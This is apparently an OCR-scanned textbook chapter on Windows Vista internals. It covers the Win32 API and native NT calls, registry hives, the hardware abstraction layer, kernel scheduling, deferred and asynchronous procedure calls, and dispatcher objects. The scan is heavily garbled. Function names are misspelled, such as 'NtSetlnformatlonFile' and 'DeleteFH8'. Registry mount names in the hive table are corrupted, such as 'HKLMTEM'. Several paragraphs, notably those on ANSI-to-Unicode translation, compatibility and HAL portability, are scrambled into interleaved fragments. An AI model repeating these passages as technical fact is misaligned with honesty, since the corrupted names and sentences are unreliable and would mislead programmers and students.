11.2.2 The Win32 Application Programming Interface 

The Win32 function calls are collectively called the Win32 API. These inter
faces are publicly disclosed and fully documented. They are implemented as li
brary procedures that either wrap the native NT system calls used to get the work 
done or, in some cases, do the work right in user mode. Though the native NT 
APls are not published, most of the functionality they provide is accessible 
through the Win32 API. The existing Win32 API calls rarely ch;mge with new re
leases of Windows, though many new functions are added t6 the API. 

Fig. 1 1-10 shows various low-level Win32 API calls and the native NT API 
calls that they wrap. What is interesting about the figure is how uninterestinv the 
mapping is. Most low-level Win32 functions have native NT equivalents, :hich 
is not surprising as Win32 was designed with NT in mind. In many cases the 



822 CASE STUDY 2, WINDOWS VISTA CHAP" I I  

Win32 la er must manipulate the Win32 para�eters to map them �nto NT. For 
I 

Y anon,"calizino- pathnames and mappmg onto the appropnate NT path-examp e, C "" . . W" 32 API " I d" g special MS-DOS dev,ce names (Irke LPT:)" The m s names, me u III ' . ' < " cesses and threads also must notlfy the Wm32 subsystem process, lor creatmg pro . . '11 h t there are new processes and threads for It to supervise, as we WI csrss.exe, t a 
describe in Sec. 1 1.4. 

Win32 call Native NT API call 

CreateProcess NtCreateProceS$ 

CreateThread NtCreateThread 

suspendThread NtSuspendThread 

CreateSemaphore NtCreateSemaphore 

ReadFile NtReadFile 

DeleteFH8 NtSetlnformatlonFile 

CreateFileMapping NtCreateSection 

VirtualAlloc NtAllocateVirtualMemory 

MapViewOfFile NtMapViewOfSection 

DupllcateHand!e NtDuplicateObject 

CloseHandle NtClose 

" 11 10 Ex,mples of Win32 API cans and the native NT API calls that FIgure • .  
they wrap. 

Some Win32 calls take pathnames, whereas the equivalent NT calls use hand
I S the wrapper routines have to open the files, can NT, and then close the 
h��dle

o 
at the end. The wrappers also. translate the Win32 A�Is from ANSI to 

Unicode. The Win32 functions shown m Fig. 1 1-10 that use stnngs as parameters 
II twO APIs for example CreateProcessW and CreateProcessA. The are actua Y '  . II" h " d to the latter API must be translated to Umcode before ca mg t e stnngs passe . . 

d 1 . (T NT API, since NT works only wIth U mcode. un er yme> . .  W" 32 " rf " h elease Since few changes are made to the eXlstmg In mte aces m eac 
. 
r 

f W" d " n theory the binary programs that ran correctly on any prevIOus re-o m ows, 
' h  ft "II u"nue to run correctly on a new release. In practice t ere are a en lease WI con . ' h patibility problems with new releases. Wmdows IS so complex t at a many corn 

" " f "I A d I" f " aly inconsequential changes can cause applicatIon al ures. n app lew seemme> 
1 k I" " h k . themselves are often to blame, since they frequent y rna e exp IClt c ec s ;atlons 

'fic OS versions or fall victim to their own latent bugs that are exposed lor speCl 1 . ' h th run on a new release. Nevertheless, MIcrosoft makes an effort m every w en ey . 'b"I" " d "th release to test a wide variety of applications to find mcompatl 1 Itles an el er 
correct them or provide applicatio�-specific �orkaro�nds. . 

Windows supports two specIal execution envlr�nments both called Wl�-
d W" dows (WOW)" WOW32 is used on 32-brt x86 systems to run 16-brt ows-on- III 
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Windows 3.x applications by mapping the system calls and parameters between 
the 16-bit and 32-bit worlds. Similarly WOW64 allows 32-bit Windows applica
tions to run on x64 systems. 

The Windows API philosophy is very different from the UNIX philosophy. In 
the latter, the operating system functions are simple, with few parameters and few 
places where there are multiple ways to pelforrn the same operation. Win32 pro
vides very comprehensive interfaces with many parameters, often with three or 
four ways of doing the same thing, and mixing together low-level and high-level 
functions, like CreateFile and CopyFi!e. 

This means Win32 provides a very rich set of interfaces, but it also introduces 
much complexity due to the poor layering of a system that intermixes both high
level and low-level functions in the same API. For our study of operating sys
tems, only the low-level functiGns of the Win32 API that wrap the native NT API 
are relevant, so those are what we will focus on. 

Win32 has calls for creating and managing processes and threads. There are 
also many calls that relate to inter-process communication, such as creating, des
troying, and using mutexes, semaphores, events, communication ports, and other 
IPe objects" 

Although much of the memory management system is invisible to pro
grammers, one important feature is visible: namely the ability of a process to map 
a file onto a region of its virtual memory. This allows threads running in a proc
ess the ability to read and write parts of the file using pOinters without having to 
explicitly perform read and write operations to transfer data between the disk and 
memory. With memory-mapped files the memory management system itself per
forms the I10s as needed (demand paging). 

Windows implements memory-mapped files using three completely different 
facilities. First it provides interfaces which allow processes to manage their own 
virtual address space, including reserving ranges of addresses for later use. Sec
ond, Win32 supports an abstraction called afile mapping which is used to repres
ent addressable objects like files (a file mapping is called a section in the NT 
layer). Most often, file mappings are created to refer to files using a file handle, 
but they can also be created to refer to private pages allocated from the system 
pagefile. 

The third facility maps views of file mappings into a process' address space. 
Win32 only allows a view to be created for the current process, but the underlying 
NT facility is more general, allowing views to be created for any process for 
which you have a handle with the appropriate permissions. Separating the crea
tion of a file mapping from the operation of mapping the file into the address 
space is a different approach than used in the mmap function in UNIX. 

In Windows the file mappings are kernel-mode objects represented by a hand
le. Like most handles, file mappings can be duplicated into other processes. Each 
of these processes can map the file mapping into its own address space as it sees 
fit. This is useful for sharing private memory between processes without having 
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to create files for sharing. At the NT layer, file mappings (sections) can also be 
made persistent in the NT namespace and accessed by name. . ' An important area for many programs is file I/O. In the basic WIn32 vIe":,, a 
file is just a linear sequence of bytes. Win32 provides over 60 ca.lls for cre��ng 
and destroying files and directories, opening and closing files, readmg and wntmg 
them, requesting and setting file attributes, locking ranges of bytes, and many 
more fundamental operations on both the organization of the file system and ac
cess to individual files. 

There are also advanced facilities for managing data in files. In addition to 
the primary data stream, files stored on the NTFS file system can hav� additional 
data streams. Files (and even entire volumes) can be encrypted. FIles can be 
compressed, and/or represented as a sparse stream of bytes where missing regions 
of data in the middle occupy no storage on disk. File system volumes can be 
organized out of multiple separate disk partitions using various levels of RAID 
storage. Modifications to files or directory sub-trees can be detected through a 
notification mechanism, or by reading the journal that NTFS maintains for each 
volume. 

Each file system volume is implicitly mounted in the NT namespace, accord
ing to the name given to the volume, so a file \foo \bar might be named, for ex.
ample, \Device\HarddiskVo[umeVoo\bar. Internal to each NTFS volume, 
mount points (called reparse points in Windows) and symbolic links are sup
ported to help organize the individual volumes. 

The low-level I/O model in Windows is fundamentally asynchronous. Once 
an 1I0 operation is begun, the system call can return and allow the thread which 
initiated the 1/0 to continue in parallel with the lIO operation. Windows supports 
cancellation, as well as a number of different mechanisms for threads to synchron
ize with I/O operations when they complete. Windows also allows programs to 
specify that I/O should be synchronous when a file is opened, and many library 
functions, such as the C library and many Win32 calls, specify synchronous I/O 
for compatibility Or to simplify the programming model. In these cases the execu
tive will explicitly synchronize with I/O completion before returning to user 
mode. 

Another area for which Win32 provides calls is security. Every thread is as
sociated with a kernel-mode object, called a token, which provides information 
about the identity and privileges associated with the thread. Every object can 
have an ACL (Access Control List) telling in great detail precisely which users 
may access it and which operations they may perform on it. This approach p:o
vides for fine-grained security in which specific users can be allowed or demed 
specific access to every object. The security model is extensible, �llowin� appli
cations to add new security rules, such as limiting the hours access IS permItted. 

The Win32 namespace is different than the native NT namespace described in 
the previous section. Only parts of the NT namespace are visible to Win32 APls 
(though the entire NT namespace can be accessed through a Win32 hack that uses 
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special prefix strin?s, like "\ \ "). In Win32, files are accessed relative to drive 
le�ters. The NT dIrectory \DosDevices contains a set of symbolic links from 
dn.ve letters to

. 
the actual .device objects. For example \DosDevices \ C: might be 

a I.Ink to \E!evlce \HarddzskVolumel . This directory also contains links for other 
Wm32 devl�es, such as COM1:·, LPTl:, and NUL: (for the serial and printer ports, 
an� the all-Important null devIce). \DosDevices is really a symbolic link to \ ?? 
WhICh was chos�n for efficiency. Another NT directory, \BaseNamedObjects is 
us�d to store nusc�llaneous named kernel-mode objects accessible through the 
Wm3� API. These mcIude synchronization objects like semaphores, shared mem
ory, timers, and communication ports. MS-DOS and device names. 

In addition to Iow-Ie�el system interfaces we have described, the Win32 API 
al�o supports m�ny !Unctions for GUI operations, including all the calls for man
�gmg the g:aphlcal mterface of the system. There are calls for creating, destroy
mg, manag.mg and using windows, menus, tool bars, status bars, scroll bars, dia
log boxe�, Jcons, and many more items that appear on the screen. There are calls 
for draw�ng g�ometric figures, �llin� them in, managing the color palettes they 
use, dea.lmg ':'lth fonts, and placmg Icons on the screen. Finally, there are calls 
for .deah�g .wIth the keyboard, mouse and other human input devices as well as 
audIO, prmtmg, and other output devices. 

The GUI operations work directly with the win32k.sys driver using special in
terfaces to access these functions in kernel mode from user-mode libra les S· 
h '  

f . mce 
t ese calls do not mvolve the core system calls in the NTOS executive, we will 
not say more about them. 

11.2.3 The Windows Registry 

The root of the N.T namespace is maintained in the kernel. Storage, such as �le system volumes, IS attached to the NT namespace. Since the NT namespace 
IS constructed �fresh e:ery time the system boots, how does the system know 
about any speCIfic detaIls of the system configuration? The answer is that Win
dows attaches � special kind of file system (optimized for small files) to the NT 
namespace. ThIS file system is called the registry. The registry is organized into 
separate v�lumes called hives. Each hive is kept in a separate file (in the direc
tory C: \ Wzndows \�ystem3

.
2 \ con fig \ of the boot volume). When a Windows sys

tem boots, one partIcular hIve named SYSTEM is loaded into memory by the same 
boot program that loads the kernel and other boot files, such as boot drivers, from 
the boot volume. �in�ows ke�ps a great deal of crucial information in the SYSTEM hive, in
clud�n? .1TIfonnanon about what drivers to use with what devices, what software to 
:un ImtJ.�lly,. and many parameters governing the operation of the system. This 
mformatlon IS used even by the boot program itself to detennine which drivers are 
boot drivers, being needed immediately upon boot. Such drivers include those 
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that understand the file system and disk drivers for the volume containing the op-

erating system itself. . . 
Other configuration hives are used after the system boots to descnbe mfor

mation about the software installed on the system, particular users, and the classes 
of user-mode COM (Component Object-Model) objects that are installed on the 
system. Login information for local users is kept in the SAM (Security A�::ce�s 
Manager) hive. Information for network users is maintained by the Isass serVice III 
the SECURITY hive, and coordinated with the network directory servers so that 
users can have a common account name and password across an entire network. 
A list of the hives used in Windows Vista is shown in Fig. 1 1 - 1 1 .  

Hive file Mounted name Use 

SYSTEM HKLMTEM OS configuration information, used by kernel 

HARDWARE HKLMDWARE In-memory hive recording hardware detected 

BCD HKLMBCD' Boot Configuration Database 

SAM HKLM Local user account information 

SECURITY HKLMURITY Isass' account and other security information 

DEFAULT HKEY USERS .DEFAULT Default hive for new users 

NTUSER.DAT HKEY USERS <user id> User-specific hive, kept in home directory 

SOFTWARE HKLMTWARE Application classes registered by COM 

COMPONENTS HKLM NENTS Manifests and dependencies for sys. components 

Figure 11·11. The registry hives in Windows Vista. HKLM is a short-hand for 
HKELLOCAL.MACHINE. 

Prior to the intrOduction of the registry, configuration information in Windows 
was kept in hundreds of .ini (initialization) files spread across the di�k. The regis
try gathers these files into a central store, which is avai1�ble ea:1y In the process 
of booting the system. This is important for implementIng WIndows plug-and
play functionality. But the registry has become very disorganized as Wind�ws 
has evolved. There are poorly defined conventions about how the configuration 
information should be arranged, and many applications take an ad hoc approach. 
Most users, applications, and all drivers run with full privileges, and frequently 
modify system parameters in the registry directly-sometimes interfering with 
each other and destabilizing the system. 

The registry is a strange cross between a file system and a datab�se, and yet 
really unlike either. Entire books have been written describing the regIstry (Born, 
1998; Hipson, 2000; and Ivens, 1998), and many companies have sprung up to sell 
special software just to manage the complexity of the registry. 

. 
To explore the registry Windows has a aUI program called regedlt that al

lows you to open and explore the directories (called keys) and data items (called 
values). Microsoft's new PowerSheli scripting language can also be useful for 
walking through the keys and values of the registry as if they were directories and 

SEC. 1 1.2 PROGRAMMING WINDOWS VISTA 827 

files, A more interesting tool to use is procmon, which is available from Micro
soft's tools' Website: www.microsoft.comltechnetlsysinternals. 

Procmon watches all the registry accesses that take place in the system and is 
very illuminating. Some programs will access the same key over and over tens of 
thousands of times. 

As the name implies, regedit allows users to edit the registry-but be very 
careful if you ever do. It is very easy to render your system unable to boot, or 
damage the installation of applications so that you cannot fix them without a lot of 
wizardry. Microsoft promised to clean up the registry in future releases, but for 
now it is a huge mess-far more complicated than the configuration information 
maintained in UNIX. 

Beginning with Windows Vista Microsoft has introduced a kernel-based 
transaction manager with support for coordinated transactions that span both file 
system and registry operations. Microsoft plans to use this facility in the future to 
avoid some of the metadata corruption problems that occur when software instal
lation does not complete correctly and leaves around partial state in the system di
rectories and registry hives. 

The registry is accessible to the Win32 programmer. There are calls to create 
and delete keys, look up values within keys, and more. Some of the more useful 
ones are listed in Fig. 1 1-12. 

Win32 API function Description 
RegCreateKeyEx Create a new registry key 
RegDeleteKey Delete a registry key 
RegOpenKeyEx Open a key to get a handle to it 
RegEnumKeyEx Enumerate the subkeys subordinate to the key of the handle 
RegQueryValueEx Look up the data for a value within a key 

Figure 11·12. Some of the Win32 API calls for using the registry 

When the system is turned off, most of the registry information is stored on 
the disk in the hives. Because their integrity is so critical to correct system func
tioning, backups are made automaticaIIy and metadata writes are flushed to disk 
to prevent corruption in the event of a system crash. Loss of the registry requires 
reinstalling all software on the system. 

11.3 SYSTEM STRUCTURE 

In the previous sections we examined Windows Vista as seen by the pro
grammer writing code for user mode. Now we are going to look under the hood 
to see how the system is organized internally, what the various components do. 
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and how they interact with each other and with user programs. This is the part of 
the system seen by the programmer implementing low�level user-mode code, like 
subsystems and native services, as wen as the view of the system provided to de
vice driver writers. 

Although there are many books on how to use Windows. there are many few
er on how it works. One of the best places to look for additional information on 
this topic is Microsoft Windows Internals, 4th ed. (Russinovich and Solomon, 
2004). This book describes Windows XP, but most of the description is still accu
rate. since internally, Windows XP and Windows Vista are quite similar. 

Additionally Microsoft makes infonnation about the Windows kernel avail
able to faculty and students in universities through the Windows Academic Pro
gram. The program gives out source code for most of the Windows Server 2003 
kernel, the original NT design documents from Cutler's team, and a large set of 
presentation materials derived from the Windows Internals book. The Windows 
Driver Kit also provides a lot of information about the internal workings of the 
kernel, since device drivers not only use I/O facilities, but also processes, threads, 
virtual memory, and IPe. 

11.3.1 Operating System Structure 

As described earlier, the Windows Vista operating system consists of many 
layers as depicted in Fig. 1 1-6. In the following sections we will dig into the 
lowest levels of the operating system: those that run in kernel mode. The central 
layer is the NTOS kernel itself, which is loaded from ntoskrnl.exe when Windows 
boots. NTOS has two layers, the executive containing most of the services, and a 
smaller layer which is (also) called the kernel and implements the underlying 
thread scheduling and synchronization abstractions (a kernel within the kernel?), 
as well as implementing trap handlers, interrupts, and other aspects of how the 
CPU is managed. 

The division of NTOS into kernel and executive is a reflection of NT's 
V AX/VMS roots. The VMS operating system, which was also designed by 
Cutler, had four hardware-enforced layers: user, supervisor, executive, and kernel 
corresponding to the four protection modes provided by the V AX processor archi
tecture. The Intel CPUs also supports four rings of protection, but some of the 
early target processors for NT did not, so the kernel and executive layers represent 
a software-enforced abstraction, and the functions that VMS provides in supervi
sor mode, such as printer spooling, are provided by NT as user-mode services. 

The kernel-mode layers of NT are shown in Fig. 1 1-13.  The kernel layer of 
NTOS is shown above the executive layer because it implements the trap and in
terrupt mechanisms used to transition from user mode to kernel mode. The upper
most layer in Fig. 1 1-1 3  is the system library ntdll.dll), which actually runs in user 
mode_ The system library includes a number of support functions for the compiler 
run-time and low-level libraries, similar to what is in libc in UNIX. ntdll.dll also 
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Figure 11-13. Windows kernel-mode organization. 

contains special code entry points used by the kernel to initialize threads and dis
patch exceptions and user-mode APCs (Asynchronous Procedure Calls). Be
cause the system library is so integral to the operation of the kernel every user
mode process created by NTOS has ntdll mapped at the same fixed address. �hen NTOS is initializing the system it creates a section object to use when map
pmg ntdll, and also records addresses of the ntdll entry points used by the kerneL 

Below the NTOS kernel and executive layers there is software called the 
HAL (Hardware Abstraction Layer) which abstracts low-level hardware details 
like access to device registers and DMA operations, and how the BIOS finnware 
represents configuration infonnation and deals with differences in the CPU sup
port chips, such as various interrupt controllers. The BIOS is available from a 
number of companies, and integrated into persistent (EEPROM) memory that 
resides on the computer parentboard. 

The other major components of kernel mode are the device drivers. Windows 
uses device drivers for any kernel-mode facilities which are not part of NTOS or 
the HAL. This includes file systems and network protocol stacks, and kernel 
extensions like antivirus and DRiVI (Digital Rights Management) software, as 
well as drivers for managing physical devices, interfacing to hardware buses, and 
so on. 

The I/O and virtual memory components cooperate to load {and unload) de
vice drivers into kernel memory and link them to the NTOS and HAL layers. The 
I/O manager provides interfaces which allow devices to be discovered, organized, 
and operated-including arranging to load the appropriate device driver. Much of 
the configuration information for managing devices and drivers is maintained in 
the SYSTEM hive of the registry. The plug-and-play SUb-component of the I/O 
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a<Jer maintains information about the hardware detected within the H�RD��RE hive, which is a volatile hive maintained in memory rather than on disk as 

it is completely recreated every time the system boots. . . ' 
We will now examine the various components of the operatmg system In a bit 

more detail. 

The Hardware Abstraction Layer 

One of the goals of Windows Vista, like the NT�based releases of Windows 

before it, was to make the operating system portable acroSS hardware platforrn�. 

Ideally, to bring up an operating system on � new type o� compute� system It 

should be possible to just recompile the ?peratmg system Wlt� a
. 
complIer �or the 

neW machine and have it run the first time. Unfortunately, l� IS not so sImple. 

Wh"1 many of the components in some layers of the operatITIg system can be 

lar;e�y portable (because they mostly deal with internal data structures a?d ab

stractions that support the programming model), other layers must d�al wI�h �e-
. . . terrupts DMA and other hardware features that dIffer sIgmfi-

VIce regIsterS, In , , 
cantI y from machine to machine. 

. . . 
Most of the source code for the NTOS kernel IS wntten III C rather than as

sembly language (only 2% is assembly on x86, and less than 1% on x64). How

ever. all this C code cannot just be scooped up from an x86 system, plopped down 

a SPARC system recompiled and rebooted due to the many hardware 
on, say, " h h' d 'th the d'f 
differences between processor architectures that ave not mg to . 0 WI . 1 -

ferent instruction sets and which cannot be hidden by the complier. Languages 

like C make it difficult to abstract away some hardware data �tructures and pa

ameters such as the fonnat of page-table entries and the physIcal memory page :izes and word length, without severe perfonnance penalties. All of these, as well 

as a slew of hardware-specific optimizations, would have to be manually ported 

even thouo-h they are not written in assembly code. 
Hard;are details about how memory is organized on large serv.e

r�, or what 

hardware synchronization primitives are available, can also have a blg Impact on 

higher levels of the system. For example, NT's virtual memory manager and �he 

k 1 layer are aware of hardware details related to cache and memory locaht�. erne h . . . . t" ves and It Throuo-hout the system NT uses compare&swap sync ronlzalJon pnm! 1 , 

would
Q
be difficult to port to a system that does not have the�. �inally, there are 

many dependencies in the system on the ordering of bytes wlthm wo�ds. On 
.
all 

the systems NT has ever been ported to, the hardware was set to l1ttle-endian 

mode. b f Besides these larger issues of portability, there are a:so a large num er 0 
. r ones even between different parentboards from dIfferent manuf�cturers. 

���f�rences in CPU versions affect how synchronization pri�itives like spm-�ocks 

are implemented. There are several fami�ie� .o
f support ChIPS t�at crea�e differ

ences in how hardware interrupts are pnontIzed, how IJO deVIce reglsters are 
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accessed, management of DMA transfers, control of the timers and real-time 
clock, multiprocessor synchronization, working with BIOS facilities such as ACPI 
(Advanced Configuration and Power Interface), and so on. Microsoft made a seri
ous-attempt to hide these types of machine dependencies in a thin layer at the bot
tom called the H�L, as menti�ned earlier. The job of the HAL is to present the 
rest of the operatmg system WIth abstract hardware that hides the specific details 
of processor version, support Chipset, and other configuration variations. These 
HAL abstractions are presented in the fonn of machine-independent services (pro
cedure calls and macros) that NTOS and the drivers can use. 

By using the HAL services and not addressing the hardware directly, drivers 
�nd the kernel require fewer changes when being ported to new processors-and 
m most all cases can run unmodified on systems with the same processor architec
ture, despite differences in versions and support chips. 

The HAL does not provide abstractions or services for specific I/O devices 
such as keyboards, mice, disks or for the memory management unit. These facili
ties are spread throughout the kernel-mode components, and without the HAL the 
�mount of code that would have to be modified when porting would be substan
tIal, even when the actual hardware differences were small. Porting the HAL it
self is straightforward because all the machine-dependent code is concentrated in 
one pJace and the goals of the port are well defined: implement all of .the HAL 
services. For many releases Microsoft supported a HAL Development Kit which 
allowed system manufacturers to build their own HAL which would allow other 
kernel components to work on new systems without modification, provided that 
the hardware changes were not too great. 

As an example of what the hardware abstraction layer does, consider the issue 
of memory-mapped 1/0 versus I/O ports. Some machines have one and some 
have the other. How should a driver be programmed: to use memory-mapped I/O 
or not? 

. 
Rather th�n !orcing a choice, which would make the driver not portable to 

a machme that dId It the other way, the hardware abstraction layer offers three 
procedures for driver writers to use for reading the device registers and another 
three for writing them: 

uc = READ_PORT _UCHAR(port); 
us = READ_PORT _USHORT(port); 
ui = READ_PORT _ULONG(port); 

WRiTE_PORT _UCHAR(port, uc); 
WRiTE_PORT _USHORT(port, us); 
WRiTE_PORT _LONG(port, ui); 

These procedures read and write unsigned 8-, 16-, and 32-bit integers, respective
ly, to the specified port. It is up to the hardware abstraction layer to decide 
whether memory-mapped I/O is needed here. In this way, a -driver can be moved 
without modification between machines that differ in the way the device registers 
are implemented. 

Drivers frequently need to access specific I/O devices for various purposes. 
At the hardware level, a device has one or more addresses on a certain bus. Since 
modern computers often have multiple buses (ISA, PCI, PCI-X, USB, 1394, etc.), 
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it can happen that more than one device may have the same addres� on differ�nt 
buses, so some way is needed to distinguish them. The HAL provIdes a servIce 
for identifying devices by mapping bus-relative device addresses onto syste�
wide logical addresses. In this way, drivers do not have to keep track of whIch 
device is connected to which bus. This mechanism also shields higher layers from 
properties of alternative bus structures and addressing conventions. 

Interrupts have a similar problem-they are also bus dependent. Here, too, 
the HAL provides services to name interrupts in a system-wi?e way. and also �ro
vides services to allow drivers to attach interrupt service [outmes to mterrupts In a 
portable way, without having to know anything about which interrupt vector is for 
which bus. Interrupt request level management is also handled in the HAL. 

Another HAL service is setting up and managing DMA transfers in a device
independent way. Both the system-wide DMA engine and DMA engines on spe
cific I/O cards can be handled. Devices are referred to by their logical addresses. 
The HAL implements software scatter/gather (writing or reading from noncontig
uous blocks of physical memory). 

The HAL also manages clocks and timers in a portable way. Time is kept 
track of in units of 100 nanoseconds starting at 1 January 1601, which is the first 
date in the previous quadricentury, which simplifies leap year computations. 
(Quick Quiz: Was 1800 a leap year? Quick Answer: No.) The time services 
decouple the drivers from the actual frequencies at which the clocks run. 

Kernel components sometimes need to synchronize at a very low level, espe
cially to prevent race conditions in multiprocessor systems. The HAL provides 
primitives to manage this synchronization, such as spin locks, in whic� one cPy 
simply waits for a resource held by another CPU to be released, partIcularly m 
situations where the resource is typically only held for a few machine instructions. 

Finally, after the system has been booted, the HAL talks to the BIOS and 
inspects the system configuration to find out which bus�s �nd I/O �evi�es the sysw 
tern contains and how they have been configured. Thls mformatlOn IS then put 
into the registry. A summary of some of the things the HAL does is given in 
Fig. 1 1-14. 

The Kernel Layer 

Above the hardware abstraction layer is NTOS, consisting of two layers: the 
kernel and the executive. "Kernel" is a confusing term in Windows. It can refer 
to all the code that runs in the processor's kernel mode. It can also refer to the 
ntoskrnLexe file which contains NTOS, the core of the \Vindows operating sys
tem. Or it can refer to the kernel layer within NTOS, which is how we use it in 
this section. It is even used to name the user-mode Win32 library that provides 
the wrappers for the native system cans: kerneI32.dll. 

In the Windows operating system the kernel layer, ilustrated above the execuw 
tive layer in Fig. 1 1  w 13, provides a set of abstractions for managing the CPU. The 
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ill?st central abstraction is threads, but the kernel also implements exception han
dlmg, traps, �nd several kinds of interrupts. Creating and destroying the data 
structures whIch support threading is implemented in the executive layer. The 
kernel layer is respo�sible for scheduling and synchronization of threads. Having 
support fo: threads m a separate layer allows the executive layer to b� imple
mented usmg the same preemptive multithreading model used to write Concurrent 
code in user mode, though the synchronization primitives in the executive are 
much more specialized. 

The kernel'S thread scheduler is responsible for determinina which thread is 
e�ecuting o� e�ch

, 
CPU in the system. Each thread executes until a timer interrupt 

sIgnals that It IS tIme to switch to another thread (quantum expired), or until the 
thread needs to wait for something to happen, such as an I/O to complete or for a 
lock to be released, or a higher-priority thread becomes runnable and needs the 
CPU. When switching from one thread to another, the scheduler runs on the CPU 
and ensures that the registers and other hardware state have been saved. The 
scheduler then selects another thread to run on the CPU and restores the state that 
was previously saved from the last time that thread ran. 

If the next thread to be run is in a different address space (i.e., process) than 
the threa:I being switche� from, the scheduler must also change address spaces. 
The detaIls of the schedulIng algorithm itself will be discussed later in this chapter 
when we come to processes and threads. 

In addition to prOViding a higher-level abstraction of the hardware and han
dling thread switches, the kernel layer also has another key function: providing 
low-l�vel support �or two classes of synchronization mechanisms: control objects 
and dIspatcher objects. Control objects are the data structures that the kernel 
layer provides as abstractions to the executive layer for managing the CPU. They 
are allocated by the executive but they are manipulated with routines provided by 
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the kernel layer. Dispatcher objects are the class of ordinary executive objects 

that use a common data structure for synchronization. 

Deferred Procedure Calls 

Control objects include primitive objects for threads, interrupts, timers, syn

chronization, profiling, and two special objects for implementing DPes �d 

APes. DPC (Deferred Procedure Call) objects are used to reduce �e tIme 

taken to execute ISRs (Interrupt Service Routines) in response to an mterrupt 

from a particular device. . . 
. 

The system hardware assigns a hardware pn�n�y level to �nterrupts. The CPU 

also associates a priority level with the work It IS perfornung. Th
.
e CPU only 

responds to interrupts at a higher priority level than it is currently
. 
usmg. �or�al 

... priority levels, including the priority level of all user-mode �or�, IS O. DevIce lll

teffupts occur at priority 3 or higher, and the ISR f?r a deVIce mterrupt norrn�l1y 

executes at the same priority level as the interrupt III order to keep other less lIU

portant interrupts from occurring while it is processing a m?r� im?ortant one .
. 

If an ISR executes too long, the servicing of lower-pnonty mterrupts WIll be 

delayed, perhaps causing data to be lost or slowing
. 
the I/� throughput of �e sys

tem. Multiple ISRs can be in progress at any one ttme, Wlth each succeSSIve ISR 

beine- due to interrupts at higher and higher priority levels. 

To reduce the time spent processing ISRs, only the critical operations are per

fonned, such as capturing the result of an I/O operatio� and reinitia�izi
.
ng the d:-' 

vice. Further processing of the interrupt is deferred until the CPU pnonty lev�l ls 

lowered and no longer blocking the servicing of other interrupts. The DPC object 

is used to represent the further work to be done and the ISR calls the kernel 
.
layer 

to queue the DPC to the list of DPCs for .a particular �rocessor. If the D�C IS the 

first on the list, the kernel registers a specIal request WIth the hardware to mterrupt 

the CPU at priority 2 (which NT calls DISPATCH level). When the last of any 

executing ISRs complete, the interrupt level of the proc�ssor wIll drop back below 

2 and that will unblock the interrupt for DPC processmg. The ISR for the DPC 

i�terrupt will process each of the DPC objects that the ke�el had queued. . . 
The technique of using software interrupts to defer mterrupt processmg IS a 

well-established method of reducing ISR latency. UNIX and other systems �t�ed 

using deferred processing in the 1970s to deal with the slow hardware .and hml�ed 

buffering of serial connections to terminals. The ISR woul� deal wIth 
.
fetchmg 

characters from the hardware and queuing them. After all hIgher-level mterrupt 

processing was completed, a software interrupt would run a l0v.:-priority ISR to do 

character processing, such as implementing backspace by sending control charac

ters to the terminal to erase the last character displayed and move the cursor back

ward. . 
A similar example in Windows today is the keyboard device. After a key IS 

struck, the keyboard ISR reads the key code from a register and then reenables the 
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keyboard interrupt, but does not do further processing of the key immediately. In
stead it uses a DPC to queue the processing of the key code until all outstanding 
device intenupts have been processed. 

Because DPCs run at level 2 they do not keep device ISRs from executing, 
but they do prevent any threads from running until all the queued DPCs complete 
and the CPU priority level is lowered below 2. Device drivers and the system it
self must take care not to run either ISRs or DPCs for too long. Because threads 
are not allowed to execute, ISRs and DPCs can make the system appear sluggish, 
and produce glitches when playing music by stalling the threads writing the music 
buffer to the sound device. Another common use of DPCs is running routines in 
response to a timer interrupt. To avoid blocking threads, timer events which need 
to run for an extended time should queue requests to the pool of worker threads 
the kernel maintains for background activities. These threads have scheduling 
priority 12, 13, or 15. As we will see in the section on thread scheduling, these 
priorities mean that work items will execute ahead of most threads, but not inter
fere with real-time threads. 

Asynchronous Procedure Calls 

The other special kernel control object is the APC (asynchronous procedure 
call) object. APCs are like DPCs in that they defer processing of a system rou
tine, but unlike DPCs, which operate in the context of particular CPUs, APCs exe
cute in the context of a specific thread. When processing a key press, it does not 
matter which context the DPC runs in because a DPC is simply another part of in
terrupt processing, and interrupts only need to manage the physical device and 
perform thread-independent operations such as recording the data in a buffer in 
kernel space. 

The DPC routine runs in the context of whatever thread happened to be run
ning when the original interrupt occurred. It calls into the I/O system to report 
that the I/O operation has been completed, and the 1/0 system queues an APe to 
run in the context of the thread making the original I/O request, where it can ac
cess the user-mode address space of the thread that will process the input. 

At the next convenient time the kernel layer delivers the APC to the thread 
and schedules the thread to run. An APC is designed to look like an unexpected 
procedure call, somewhat similar to signal handlers in UNIX. The kernel-mode 
APC for completing I/O executes in the context of the thread that initiated the I/O, 
but in kernel mode. This gives the APC access to both the kernel-mode buffer as 
well as all of the user-mode address space belonging to the process containing the 
thread. When an APC is delivered depends on what the thread is already doing, 
and even what type of system. In a multiprocessor system the thread receiving the 
APC may begin executing even before the DPC finishes running. 

User-mode APCs can also be used to deliver notification of I/O completion in 
user mode to the thread that initiated the IJO. User-mode APCs invoke a user-
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mode procedure designated by the application, but only when the target thread has 
blocked in the kernel and is marked as willing to accept APCs. The kernel inter
rupts the thread from waiting and returns to user mode, but with the user-mode 
stack and registers modified to fun the APC dispatch routine in the ntdll.dll sys
tem library. The APC dispatch routine invokes the user-mode routine that the ap
plication has associated with the I/O operation. Besides specifying user-mode 
APCs as a means of executing code when 1I0s complete, the Win32 API 
QueueUserAPC allows APCs to be used for arbitrary purposes. 

The executive layer also uses APCs for operations other than I/O completion. 
Because the APC mechanism is carefully designed to deliver APCs only when it 
is safe to do so, it can be used to safely tenninate threads. If it is not a good time 
to terminate the thread, the thread will have declared that it was entering a critical 
region and defer deliveries of APCs until it leaves. Kernel threads mark them� 
selves as entering critical regions to defer APes when before acquiring locks or 
other resources, so that they cannot be terminated while still holding the resource. 

Dispatcher Objects 

Another kind of synchronization object is the dispatcher object. This is any 
of the ordinary kernel-mode objects (the kind· that users can refer to with handles) 
that contain a data structure called a dispatcherJteader, shown in Fig. 1 1-15. 

Executive 
object D!SPATCHER_HEADER 

Figure 11·15. disparcher-.header data structure embedded in many executive 
objects (dispatcher objects). 

These include semaphores, mutexes, events, waitable timers, and other objects 
that threads can wait on to synchronize execution with other threads. They also 
include Objects representing open files, processes, threads, and IPC ports. The 
dispatcher data structure contains a flag representing the signaled state of the ob
ject, and a queue of threads waiting for the object to be signaled. 

Synchronization primitives, like semaphores, are natural dispatcher objects. 
Also timers, files, ports, threads, and processes use the dispatcher object mechan
isms for notifications. When a timer fires, I/O completes on a file, data are avail
able on a port, or a thread or process terminates" the associated dispatcher object 
